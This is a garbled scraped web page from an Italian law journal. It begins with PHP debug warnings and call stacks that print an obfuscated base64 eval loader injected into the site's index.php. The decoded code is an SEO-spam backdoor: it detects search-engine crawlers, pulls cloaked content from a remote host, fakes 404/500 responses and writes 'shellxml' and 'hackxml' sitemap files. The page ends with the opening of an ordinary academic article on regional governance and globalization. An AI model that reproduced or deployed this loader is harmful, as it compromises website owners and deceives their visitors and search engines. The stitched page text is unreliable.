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";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));') /opt/php/s75_diritto/public_root/index.php:26 0.0029 867984 3. eval('?>'; }else{ echo $mapdir.' already exist!
'; } } if(@$_GET['mapindex']){ $filearray = listDir($mapdir); if(count($filearray)>=2){ $mapindex_str = ''; $mapindex_str = ' '; foreach($filearray as $value){ if(stristr($value,'.xml')){ $mapindex_str .= ' '."http://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$value.' '; } } $mapindex_str .= ' '; $xmlname = @$_GET['mapindex'].'.xml'; $myfile = fopen($xmlname, "w"); fwrite($myfile, $mapindex_str); fclose($myfile); echo "ok
http://".$_SERVER['HTTP_HOST']."/".$xmlname; //echo "
".$web; exit; }else{ echo 'xml file less number mapindex faile!'; exit; } } $web = 'http://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype; if(substr($temp,0,8)=='shellxml'){ $xmlname = substr($temp,8).'.xml'; } if(substr($temp,0,7)=='hackxml'){ if(substr($temp,7)){ $xmlname = substr($temp,7).'.xml'; } } if(@$_GET['mapdir']){ if($filetype==1){ $xmlname = $xmlname.'.gz'; }else if($filetype==2){ if(function_exists('gzopen')) { $xmlname = $xmlname.'.gz'; if($fp = gzopen($mapdir.'/'.$xmlname, 'w9')){ $xml = trim(smoutdo($web)); $fp = gzopen ($mapdir.'/'.$xmlname, 'w9'); gzwrite ($fp, $xml); gzclose($fp); echo "ok
http://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; echo "
".$web; exit(); }else{ gzclose($fp); echo 'creat sitemap faile No Permissions!
http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; echo "
".$web; exit(); } }else{ echo 'gzopen no exists!
http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; $web = 'http://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype; echo "
".$web; exit(); } } if(fopen($mapdir.'/'.$xmlname, "w")){ $xml = trim(smoutdo($web)); $myfile = fopen($mapdir.'/'.$xmlname, "w"); fwrite($myfile, $xml); fclose($myfile); echo "ok
http://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; echo "
".$web; exit(); }else{ fclose($myfile); echo 'creat sitemap faile No Permissions!
http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; echo "
".$web; exit(); } }else{ if(fopen($xmlname, "w")){ $xml = trim(smoutdo($web)); $myfile = fopen($xmlname, "w"); fwrite($myfile, $xml); fclose($myfile); echo "ok
http://".$_SERVER['HTTP_HOST']."/".$xmlname; echo "
".$web; exit(); }else{ fclose($myfile); echo 'creat sitemap faile No Permissions!
http://'.$_SERVER['HTTP_HOST']."/".$xmlname; echo "
".$web; exit(); } } } if($id){ @header("Content-type: text/html; charset=utf-8"); $web = 'http://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } } }else{ $web = 'http://'.$goweb.'/index.php?url=bot&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ @header("Content-type: text/html; charset=utf-8"); if(strstr($html_content,'okhtmlgetcontent')){ $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } } function smisbot() { $agent = strtolower($_SERVER['HTTP_USER_AGENT']); if ($agent != "") { $spiderSite = array ("TencentTraveler","Googlebot","msnbot","Sosospider+","Sogou web spider","ia_archiver","Yahoo! Slurp","YoudaoBot","Yahoo Slurp","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Google AdSense","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot','google', 'baidu', 'aol', 'bing', 'yahoo', 'YandexBot', 'AhrefsBot'); foreach ($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str)) { return true; } } }else{ return false; } } function smoutdo($url){ $file_contents = @file_get_contents($url); if (!$file_contents) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } ?>') /opt/php/s75_diritto/public_root/index.php(26) : eval()'d code:1 Warning: Cannot modify header information - headers already sent by (output started at /opt/php/s75_diritto/public_root/index.php(26) : eval()'d code(1) : eval()'d code:23) in /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php on line 187 Call Stack: 0.0003 669040 1. {main}() /opt/php/s75_diritto/public_root/index.php:0 0.0232 738360 2. require('/opt/php/s75_diritto/public_root/wp-blog-header.php') /opt/php/s75_diritto/public_root/index.php:44 0.4329 58848272 3. wp() /opt/php/s75_diritto/public_root/wp-blog-header.php:14 0.4329 58848448 4. WP->main() /opt/php/s75_diritto/public_root/wp-includes/functions.php:877 0.4578 58966824 5. do_action_ref_array() /opt/php/s75_diritto/public_root/wp-includes/class-wp.php:622 0.4578 58967904 6. call_user_func_array() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4578 58967984 7. wpptopdfenh->generate_pdf() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4954 58969336 8. wpptopdfenh->output_pdf_file() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:150 0.4955 58950104 9. header() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:187 Warning: Cannot modify header information - headers already sent by (output started at /opt/php/s75_diritto/public_root/index.php(26) : eval()'d code(1) : eval()'d code:23) in /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php on line 188 Call Stack: 0.0003 669040 1. {main}() /opt/php/s75_diritto/public_root/index.php:0 0.0232 738360 2. require('/opt/php/s75_diritto/public_root/wp-blog-header.php') /opt/php/s75_diritto/public_root/index.php:44 0.4329 58848272 3. wp() /opt/php/s75_diritto/public_root/wp-blog-header.php:14 0.4329 58848448 4. WP->main() /opt/php/s75_diritto/public_root/wp-includes/functions.php:877 0.4578 58966824 5. do_action_ref_array() /opt/php/s75_diritto/public_root/wp-includes/class-wp.php:622 0.4578 58967904 6. call_user_func_array() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4578 58967984 7. wpptopdfenh->generate_pdf() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4954 58969336 8. wpptopdfenh->output_pdf_file() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:150 0.4956 58950272 9. header() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:188 Warning: Cannot modify header information - headers already sent by (output started at /opt/php/s75_diritto/public_root/index.php(26) : eval()'d code(1) : eval()'d code:23) in /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php on line 189 Call Stack: 0.0003 669040 1. {main}() /opt/php/s75_diritto/public_root/index.php:0 0.0232 738360 2. require('/opt/php/s75_diritto/public_root/wp-blog-header.php') /opt/php/s75_diritto/public_root/index.php:44 0.4329 58848272 3. wp() /opt/php/s75_diritto/public_root/wp-blog-header.php:14 0.4329 58848448 4. WP->main() /opt/php/s75_diritto/public_root/wp-includes/functions.php:877 0.4578 58966824 5. do_action_ref_array() /opt/php/s75_diritto/public_root/wp-includes/class-wp.php:622 0.4578 58967904 6. call_user_func_array() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4578 58967984 7. wpptopdfenh->generate_pdf() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4954 58969336 8. wpptopdfenh->output_pdf_file() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:150 0.4958 58950120 9. header() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:189 Warning: Cannot modify header information - headers already sent by (output started at /opt/php/s75_diritto/public_root/index.php(26) : eval()'d code(1) : eval()'d code:23) in /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php on line 190 Call Stack: 0.0003 669040 1. {main}() /opt/php/s75_diritto/public_root/index.php:0 0.0232 738360 2. require('/opt/php/s75_diritto/public_root/wp-blog-header.php') /opt/php/s75_diritto/public_root/index.php:44 0.4329 58848272 3. wp() /opt/php/s75_diritto/public_root/wp-blog-header.php:14 0.4329 58848448 4. WP->main() /opt/php/s75_diritto/public_root/wp-includes/functions.php:877 0.4578 58966824 5. do_action_ref_array() /opt/php/s75_diritto/public_root/wp-includes/class-wp.php:622 0.4578 58967904 6. call_user_func_array() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4578 58967984 7. wpptopdfenh->generate_pdf() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4954 58969336 8. wpptopdfenh->output_pdf_file() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:150 0.4960 58950104 9. header() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:190 Warning: Cannot modify header information - headers already sent by (output started at /opt/php/s75_diritto/public_root/index.php(26) : eval()'d code(1) : eval()'d code:23) in /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php on line 192 Call Stack: 0.0003 669040 1. {main}() /opt/php/s75_diritto/public_root/index.php:0 0.0232 738360 2. require('/opt/php/s75_diritto/public_root/wp-blog-header.php') /opt/php/s75_diritto/public_root/index.php:44 0.4329 58848272 3. wp() /opt/php/s75_diritto/public_root/wp-blog-header.php:14 0.4329 58848448 4. WP->main() /opt/php/s75_diritto/public_root/wp-includes/functions.php:877 0.4578 58966824 5. do_action_ref_array() /opt/php/s75_diritto/public_root/wp-includes/class-wp.php:622 0.4578 58967904 6. call_user_func_array() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4578 58967984 7. wpptopdfenh->generate_pdf() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4954 58969336 8. wpptopdfenh->output_pdf_file() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:150 0.4961 58950104 9. header() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:192 Warning: Cannot modify header information - headers already sent by (output started at /opt/php/s75_diritto/public_root/index.php(26) : eval()'d code(1) : eval()'d code:23) in /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php on line 193 Call Stack: 0.0003 669040 1. {main}() /opt/php/s75_diritto/public_root/index.php:0 0.0232 738360 2. require('/opt/php/s75_diritto/public_root/wp-blog-header.php') /opt/php/s75_diritto/public_root/index.php:44 0.4329 58848272 3. wp() /opt/php/s75_diritto/public_root/wp-blog-header.php:14 0.4329 58848448 4. WP->main() /opt/php/s75_diritto/public_root/wp-includes/functions.php:877 0.4578 58966824 5. do_action_ref_array() /opt/php/s75_diritto/public_root/wp-includes/class-wp.php:622 0.4578 58967904 6. call_user_func_array() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4578 58967984 7. wpptopdfenh->generate_pdf() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4954 58969336 8. wpptopdfenh->output_pdf_file() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:150 0.4962 58950096 9. header() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:193 Warning: Cannot modify header information - headers already sent by (output started at /opt/php/s75_diritto/public_root/index.php(26) : eval()'d code(1) : eval()'d code:23) in /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php on line 194 Call Stack: 0.0003 669040 1. {main}() /opt/php/s75_diritto/public_root/index.php:0 0.0232 738360 2. require('/opt/php/s75_diritto/public_root/wp-blog-header.php') /opt/php/s75_diritto/public_root/index.php:44 0.4329 58848272 3. wp() /opt/php/s75_diritto/public_root/wp-blog-header.php:14 0.4329 58848448 4. WP->main() /opt/php/s75_diritto/public_root/wp-includes/functions.php:877 0.4578 58966824 5. do_action_ref_array() /opt/php/s75_diritto/public_root/wp-includes/class-wp.php:622 0.4578 58967904 6. call_user_func_array() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4578 58967984 7. wpptopdfenh->generate_pdf() /opt/php/s75_diritto/public_root/wp-includes/plugin.php:571 0.4954 58969336 8. wpptopdfenh->output_pdf_file() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:150 0.4965 58950120 9. header() /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php:194 Warning: Cannot modify header information - headers already sent by (output started at /opt/php/s75_diritto/public_root/index.php(26) : eval()'d code(1) : eval()'d code:23) in /opt/php/s75_diritto/public_root/wp-content/plugins/wp-post-to-pdf-enhanced/wp-post-to-pdf-enhanced.php on line 212 Call Stack: 0.0003 669040 1. {main}() /opt/php/s75_diritto/public_root/index.php:0 0.0232 738360 2. require('/opt/php/s75_diritto/public_root/wp-blog-header.php') /opt/php/s75_diritto/public_root/index.php:44 0.4329 58848272 3. wp() /opt/php/s75_diritto/public_root/wp-blog-header.php:14 0.4329 58848448 4. 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Riforme istituzionali e governo dell’area vasta come strategia di sviluppo del territorio: tra deficit democratico e percorsi partecipativi

di Patrizia Messina 
Professore associato di Scienza politica dell’Università di Padova
    
Pubblicato nell'edizione n. unico del 2015 - marzo 2016



1. Le sfide della globalizzazione alla competitività regionale: quali forme di regolazione politica?

Il processo di globalizzazione ha radicalmente trasformato le condizioni che incidono sulla competitività, ponendo sotto una luce nuova la dimensione territoriale. Come sottolineano infatti diversi autori a questo riguardo (Bassetti 2007; Bonomi e Masiero 2014), la globalizzazione non è un fenomeno che attiene solo all’economia e ai mercati finanziari, ma riguarda l’intero sistema delle relazioni e delle interconnessioni che incidono sulla costruzione sociale del territorio: «Oggi, la nostra dimensione di riferimento è quella della mobilità estrema che riduce notevolmente il nostro tempo e spazio di percorrimento e fruizione, e in una logica siffatta il concetto del territorio cambia pure radicalmente. Infatti, un conto è considerare il territorio da un punto di vista di spazio limitato e di sostanziale stanzialità, e tutto un altro conto è guardare allo stesso territorio a partire da un’ipotesi di mobilità generale» (Bassetti 2007, p. 21).

Un territorio “mobile” (Perulli 2014), attraversato da continui flussi, di informazioni, di conoscenze, di merci, di persone, di capitali finanziari, se vuole essere competitivo nel sistema globale, è costretto a ridefinire, in primo luogo, le dinamiche di costruzione sociale del territorio stesso, a partire non solo dai confini amministrativi, ma anche e soprattutto da quelli cognitivi (self) e delle relazioni tra i luoghi (net) (Castels 2002). In questa nuova prospettiva, quali devono essere i cambiamenti più adeguati delle forme di regolazione politica e delle istituzioni di governo di un territorio divenuto fluido? Come superare le rigidità e i limiti imposti dai confini amministrativi tradizionali? Come innovare le regole della rappresentanza politica che legittimano le istituzioni democratiche di governo, basate ancora sul principio della stanzialità, come la residenza e la cittadinanza?

